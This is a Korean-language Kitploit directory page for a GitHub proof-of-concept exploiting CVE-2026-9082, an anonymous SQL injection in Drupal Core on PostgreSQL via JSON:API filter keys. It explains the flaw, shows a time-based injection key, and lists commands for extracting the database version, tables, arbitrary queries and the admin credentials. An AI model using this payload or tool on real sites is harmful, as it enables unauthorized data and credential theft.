Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-9082-Drupal-PoC — Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PostgreSQL 기반 사이트에서 JSON:API 모듈을 통해 익명 SQL 인젝션을 허용하는 Drupal 취약점에 대한 윤리적 PoC. | Kitploit
도구/GitHubGitHub/7h30th3r0n3/cve-2026-9082-drupal-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub7h30th3r0n3/cve-2026-9082-drupal-poc

CVE-2026-9082-Drupal-PoC

Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PostgreSQL 기반 사이트에서 JSON:API 모듈을 통해 익명 SQL 인젝션을 허용하는 Drupal 취약점에 대한 윤리적 PoC.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
저장소 보기
23474개월 전Kitploit 검토 완료
공유

CVE-2026-9082 - Drupal Core PostgreSQL SQL Injection PoC

Drupal 로고


개요

이 저장소는 CVE-2026-9082에 대한 윤리적 개념 증명(PoC)입니다. 이는 Drupal Core의 매우 중요한 SQL 인젝션 취약점으로, Drupal 8.0부터 11.3.9까지 실행되는 모든 PostgreSQL 기반 사이트에 영향을 미칩니다.

이 결함은 PostgreSQL 엔티티 쿼리 조건 핸들러에 존재하며, 익명(인증되지 않은) 사용자가 Drupal 9부터 기본적으로 활성화된 JSON:API 모듈을 통해 악용할 수 있습니다.

공식 권고: SA-CORE-2026-004


취약점 요약

Drupal Core는 쿼리를 살균하고 SQL 인젝션을 방지하도록 설계된 데이터베이스 추상화 API를 포함합니다. PostgreSQL별 엔티티 쿼리 조건 클래스(core/modules/pgsql/src/EntityQuery/Condition.php)의 결함으로 인해 공격자가 JSON:API 필터 매개변수를 통해 전달되는 사용자 제어 배열 키를 통해 임의의 SQL을 주입할 수 있습니다.

  • CVE ID: CVE-2026-9082
  • 권고: SA-CORE-2026-004
  • 영향받는 소프트웨어: Drupal Core
  • 영향받는 버전: 8.0.0 – 11.3.9 (PostgreSQL 백엔드만 해당)
  • 수정 버전: 11.3.10, 11.2.12, 10.6.9, 10.5.10
  • 심각도: 매우 중요 — Drupal 위험 척도 20/25
  • 인증: 필요 없음 (익명)
  • 영향: 데이터 유출, 권한 상승, 일부 구성에서 원격 코드 실행
  • 공격 벡터: HTTP — JSON:API 필터 조건 배열 키

작동 방식

  1. PostgreSQL 조건 클래스의 translateCondition() 메서드는 $condition['value']를 반복하고 배열 키를 사용하여 PDO 플레이스홀더 이름을 구성합니다:
    $where_id = $where_prefix . $key;
  2. JSON:API는 익명 사용자가 URL 매개변수를 통해 임의의 배열 키가 있는 필터 값을 제공할 수 있도록 합니다:
    filter[x][condition][value][MALICIOUS_KEY]=val
  3. PDO 명명된 플레이스홀더는 [a-zA-Z0-9_] 문자로만 구성됩니다. 키에 )가 포함되면 PDO는 플레이스홀더 이름 구문 분석을 중단합니다 — 그 이후의 모든 내용이 문자 그대로의 SQL로 쿼리에 주입됩니다.
  4. 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--와 같은 키를 전송하여 공격자는 IN() 절을 닫고 임의의 SQL을 추가하며, :prefix_1에 대한 바인딩은 동일한 요청의 적법한 키 1에 의해 충족됩니다.

참고 자료 및 크레딧

  • 권고: SA-CORE-2026-004
  • 패치 커밋: ea9524d9
  • 발견자: michaelmaturi (권고에 명시됨)

법적 고지

이 도구는 승인된 보안 테스트, 교육 목적 및 윤리적 연구용으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다.


설치

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich

사용법 (CLI)

# 대상이 취약한지 확인
python3 CVE-2026-9082.py -u https://target.com --check

# PostgreSQL 버전 추출
python3 CVE-2026-9082.py -u https://target.com --version

# 데이터베이스 정보 추출 (사용자 + DB 이름)
python3 CVE-2026-9082.py -u https://target.com --dbinfo

# Drupal 관리자 자격 증명 추출 (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin

# 데이터베이스 테이블 나열
python3 CVE-2026-9082.py -u https://target.com --tables

# 사용자 정의 SQL 쿼리 추출
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"

# 부울 기반 추출 사용 (더 빠르지만 덜 신뢰할 수 있음)
python3 CVE-2026-9082.py -u https://target.com --version -m bool

# 대화형 모드 (인수 없음)
python3 CVE-2026-9082.py

저자

  • PoC 개발: 7h30th3r0n3
  • 취약점 발견: michaelmaturi
도구 다운로드